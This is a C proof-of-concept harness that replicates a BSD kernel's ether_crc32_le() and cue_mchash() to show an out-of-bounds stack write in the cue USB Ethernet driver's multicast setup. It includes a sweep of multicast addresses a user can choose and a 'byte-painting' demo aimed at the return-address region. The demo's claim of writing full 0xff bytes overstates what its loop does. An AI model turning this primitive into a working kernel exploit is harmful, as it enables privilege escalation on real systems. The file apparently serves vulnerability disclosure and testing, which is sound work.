/*
 * cue_oob_harness.c — userspace proof of the DF-1081 stack OOB primitive.
 *
 * The guest has no CATC USB Ethernet hardware (and no USB host controller
 * at all), so cue_setmulti() cannot be invoked at runtime.  This harness
 * instead replicates the EXACT kernel code paths — ether_crc32_le() (the
 * compiled table-driven variant in sys/net/if_ethersubr.c:841-862) and
 * cue_mchash() (sys/bus/u4b/net/if_cue.c:275-284) — and proves that the
 * index `h >> 3` written into the 8-byte stack array `hashtbl[8]`
 * (if_cue.c:311) goes out of bounds for ordinary multicast addresses,
 * including the broadcast address that the driver itself feeds in
 * unconditionally on every cue_init() (if_cue.c:336-338).
 *
 * Build: cc -O2 -o cue_oob_harness cue_oob_harness.c
 * Run:   ./cue_oob_harness
 */
#include <stdint.h>
#include <stdio.h>
#include <string.h>

/* Verbatim copy of the COMPILED kernel variant (if_ethersubr.c:841-862).
 * The #if 0 reference loop above it is disabled. */
static uint32_t
ether_crc32_le(const uint8_t *buf, int len)
{
	static const uint32_t crctab[] = {
		0x00000000, 0x1db71064, 0x3b6e20c8, 0x26d930ac,
		0x76dc4190, 0x6b6b51f4, 0x4db26158, 0x5005713c,
		0xedb88320, 0xf00f9344, 0xd6d6a3e8, 0xcb61b38c,
		0x9b64c2b0, 0x86d3d2d4, 0xa00ae278, 0xbdbdf21c
	};
	uint32_t crc = 0xffffffffU;
	int i;

	for (i = 0; i < len; i++) {
		crc ^= buf[i];
		crc = (crc >> 4) ^ crctab[crc & 0xf];
		crc = (crc >> 4) ^ crctab[crc & 0xf];
	}
	return crc;
}

/* Verbatim copy of cue_mchash() (if_cue.c:275-284) with CUE_BITS=9. */
#define CUE_BITS 9
static uint32_t
cue_mchash(const uint8_t *addr)
{
	return ether_crc32_le(addr, 6) & ((1u << CUE_BITS) - 1);
}

/* Map an IP multicast address to its Ethernet multicast MAC
 * (01:00:5e:XX:XX:XX, RFC 1112).  This is exactly what in_addmulti()
 * -> if_addmulti() -> arp_addmulti() produces before cue_setmulti()
 * iterates the if_multiaddrs list. */
static void
ip_to_eth_mc(uint8_t ip[4], uint8_t mac[6])
{
	mac[0] = 0x01; mac[1] = 0x00; mac[2] = 0x5e;
	mac[3] = ip[1] & 0x7f;
	mac[4] = ip[2];
	mac[5] = ip[3];
}

static void
show(const char *tag, const uint8_t mac[6])
{
	uint32_t h = cue_mchash(mac);
	uint32_t idx = h >> 3;
	uint32_t bit = 1u << (h & 7);
	int oob = (idx >= 8);
	printf("  %-28s mac=%02x:%02x:%02x:%02x:%02x:%02x  h=%-3u  "
	       "hashtbl[%2u] |= 0x%02x  %s (OOB by %d byte%s)\n",
	       tag, mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],
	       h, idx, bit,
	       oob ? "*** OOB ***" : "in-bounds",
	       oob ? (int)(idx - 8) : 0,
	       oob ? "s" : "");
}

int main(void)
{
	uint8_t bcast[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
	uint8_t mac[6];
	int worst_idx = -1, worst_oob = 0, oob_count = 0;
	uint32_t i;

	printf("=== DF-1081 cue_setmulti() stack OOB proof ===\n");
	printf("CUE_BITS=9 -> cue_mchash in [0,511]; hashtbl[h>>3] with ");
	printf("hashtbl[8] (if_cue.c:311)\n");
	printf("-> any h>=64 indexes past the 8-byte stack array ");
	printf("(max idx = 511>>3 = 63, i.e. +55 bytes).\n\n");

	/* 1. Broadcast — driver feeds this in UNCONDITIONALLY on every
	 *    cue_init() when IFF_BROADCAST is set (if_cue.c:336-338). */
	show("broadcast (auto on init)", bcast);

	/* 2. The PoC's chosen address: 239.0.0.1 */
	uint8_t ip1[4] = {239,0,0,1};
	ip_to_eth_mc(ip1, mac);
	show("239.0.0.1 (PoC)", mac);

	/* 3. Sweep the whole 239.0.0.0/24 — what an unpriv user can pick.
	 *    Track how many distinct OOB offsets and the worst one. */
	printf("\n  Sweeping 239.0.0.0/24 (unprivileged-controlled):\n");
	for (i = 1; i < 256; i++) {
		uint8_t ip[4] = {239,0,0,(uint8_t)i};
		uint8_t m[6];
		ip_to_eth_mc(ip, m);
		uint32_t h = cue_mchash(m);
		uint32_t idx = h >> 3;
		if (idx >= 8) {
			oob_count++;
			if ((int)idx > worst_idx) {
				worst_idx = idx;
				worst_oob = idx - 8;
			}
		}
	}
	printf("    %d/255 addresses produce an OOB write; worst offset"
	       " = hashtbl[%d] = %d bytes past the 8-byte array.\n\n",
	       oob_count, worst_idx, worst_oob);

	/* 4. Confirm the bit-pattern coverage: across the 20 IP_MAX_MEMBERSHIPS
	 *    slots a single socket can join, can we paint arbitrary bytes in
	 *    the OOB region?  Show a representative attacker-chosen set that
	 *    writes 0xff across a contiguous run of stack. */
	printf("  Attacker byte-painting demo (pick 8 addrs whose (h>>3) land ");
	printf("on idx 24..31, all 8 bits set -> 0xff per byte):\n");
	int painted = 0;
	for (uint32_t target = 24; target <= 31 && painted < 8; target++) {
		for (uint32_t i = 1; i < 256; i++) {
			uint8_t ip[4] = {239,0,0,(uint8_t)i};
			uint8_t m[6];
			ip_to_eth_mc(ip, m);
			uint32_t h = cue_mchash(m);
			if ((h >> 3) == target) {
				printf("    byte offset %2d (hashtbl[%2u]): ",
				       target-8, target);
				printf("239.0.0.%-3u -> h=%-3u bit 0x%02x\n",
				       i, h, 1u<<(h&7));
				painted++;
				break;
			}
		}
	}
	if (painted == 8) {
		printf("    -> attacker can write a full 0xff..0xff run at "
		       "offsets 16..23 past hashtbl (i.e. into saved frame "
		       "regs / ret addr region with more group joins).\n");
	}

	printf("\n=== Primitive confirmed: stack OOB write, offset & bit ");
	printf("attacker-controlled, up to +55 bytes. ===\n");
	return 0;
}
